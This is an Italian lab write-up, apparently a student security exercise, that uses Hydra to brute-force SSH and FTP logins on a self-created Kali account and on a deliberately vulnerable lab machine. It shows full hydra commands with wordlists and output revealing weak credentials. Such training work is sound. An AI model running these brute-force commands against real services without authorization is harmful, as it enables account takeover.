

## AUTHENTICATION CRAACKING CON HYDRA

Creiamo un utente SSH su kali, al quale andremo ad attaccare.

Dopo averlo creato e avendo attivo il servizio ssh effettuiamo l'attacco usando hydra.

```
(kali@kali)-[~]
$ hydra -L Desktop/progetto/usernames1.lst -P Desktop/progetto/passwords1.lst 192.168.5.100 -t 4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-03 09:47:48
[DATA] max 4 tasks per 1 server, overall 4 tasks, 24 login tries (l:4/p:6), ~6 tries per task
[DATA] attacking ssh://192.168.5.100:22/
[ATTEMPT] target 192.168.5.100 - login "admin" - pass "1234" - 1 of 24 [child 0] (0/0)
[ATTEMPT] target 192.168.5.100 - login "admin" - pass "asdf" - 2 of 24 [child 1] (0/0)
[ATTEMPT] target 192.168.5.100 - login "admin" - pass "password" - 3 of 24 [child 2] (0/0)
[ATTEMPT] target 192.168.5.100 - login "admin" - pass "qwerty" - 4 of 24 [child 3] (0/0)
[ATTEMPT] target 192.168.5.100 - login "admin" - pass "admin" - 5 of 24 [child 0] (0/0)
[ATTEMPT] target 192.168.5.100 - login "admin" - pass "testpass" - 6 of 24 [child 1] (0/0)
[ATTEMPT] target 192.168.5.100 - login "boss" - pass "1234" - 7 of 24 [child 3] (0/0)
[ATTEMPT] target 192.168.5.100 - login "boss" - pass "asdf" - 8 of 24 [child 2] (0/0)
[ATTEMPT] target 192.168.5.100 - login "boss" - pass "password" - 9 of 24 [child 3] (0/0)
[ATTEMPT] target 192.168.5.100 - login "boss" - pass "qwerty" - 10 of 24 [child 2] (0/0)
[ATTEMPT] target 192.168.5.100 - login "boss" - pass "admin" - 11 of 24 [child 0] (0/0)
[ATTEMPT] target 192.168.5.100 - login "boss" - pass "testpass" - 12 of 24 [child 1] (0/0)
[ATTEMPT] target 192.168.5.100 - login "root" - pass "1234" - 13 of 24 [child 3] (0/0)
[ATTEMPT] target 192.168.5.100 - login "root" - pass "asdf" - 14 of 24 [child 2] (0/0)
[ATTEMPT] target 192.168.5.100 - login "root" - pass "password" - 15 of 24 [child 0] (0/0)
[ATTEMPT] target 192.168.5.100 - login "root" - pass "qwerty" - 16 of 24 [child 1] (0/0)
[ATTEMPT] target 192.168.5.100 - login "root" - pass "admin" - 17 of 24 [child 3] (0/0)
[ATTEMPT] target 192.168.5.100 - login "root" - pass "testpass" - 18 of 24 [child 2] (0/0)
[ATTEMPT] target 192.168.5.100 - login "test_user" - pass "1234" - 19 of 24 [child 1] (0/0)
[ATTEMPT] target 192.168.5.100 - login "test_user" - pass "asdf" - 20 of 24 [child 0] (0/0)
[ATTEMPT] target 192.168.5.100 - login "test_user" - pass "password" - 21 of 24 [child 3] (0/0)
[ATTEMPT] target 192.168.5.100 - login "test_user" - pass "qwerty" - 22 of 24 [child 2] (0/0)
[ATTEMPT] target 192.168.5.100 - login "test_user" - pass "admin" - 23 of 24 [child 1] (0/0)
[ATTEMPT] target 192.168.5.100 - login "test_user" - pass "testpass" - 24 of 24 [child 0] (0/0)
[22][ssh] host: 192.168.5.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-03 09:48:05
```

Come dimostatosi funziona.

Ora proviamo con la porta FTP, attiviamo il servizio FTP e usiamo lo stesso comando come per SSH anche per FTP, ovviamente adattandolo al nuovo protocollo

```
(kali@kali)-[~]
$ sudo service vsftpd start

(kali@kali)-[~]
$ hydra -L Desktop/progetto/usernames1.lst -P Desktop/progetto/passwords1.lst 192.168.5.100 -t 40 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service org

[ATTEMPT] target 192.168.5.100 - login "test_user" - pass "admin" - 33 of 35 [child 32] (0/0)
[ATTEMPT] target 192.168.5.100 - login "test_user" - pass "msfadmin" - 34 of 35 [child 33] (0/0)
[ATTEMPT] target 192.168.5.100 - login "test_user" - pass "testpass" - 35 of 35 [child 34] (0/0)
[21][ftp] host: 192.168.5.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-03 12:02:02

(kali@kali)-[~]
```

E come possiamo vedere anche in questo caso abbiamo avuto successo.

ORA PROVIAMO A CRACKARE UNA MACCHINA ESTERNA

Attacchiamo la macchina Meta.

Impostando l'ip da attaccare e configurando l'app possiamo successivamente eseguire l'attacco

Target	Passwords	Tuning	Specific	Start
Output				
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret				
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-03 10:05:47				
[DATA] max 16 tasks per 1 server, overall 16 tasks, 35 login tries (l:5/p:7), ~3 tries per task				
[DATA] attacking ftp://192.168.5.101:21/				
<b>[21][ftp] host: 192.168.5.101 login: msfadmin password: msfadmin</b>				
1 of 1 target successfully completed, 1 valid password found				
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-03 10:05:57				
<finished>				

Abbiamo avuto successo verso il servizio FTP, ma sfortunatamente per i servizi TELNET e SSH, non abbiamo avuto successo per eventi esterni a noi sconosciuti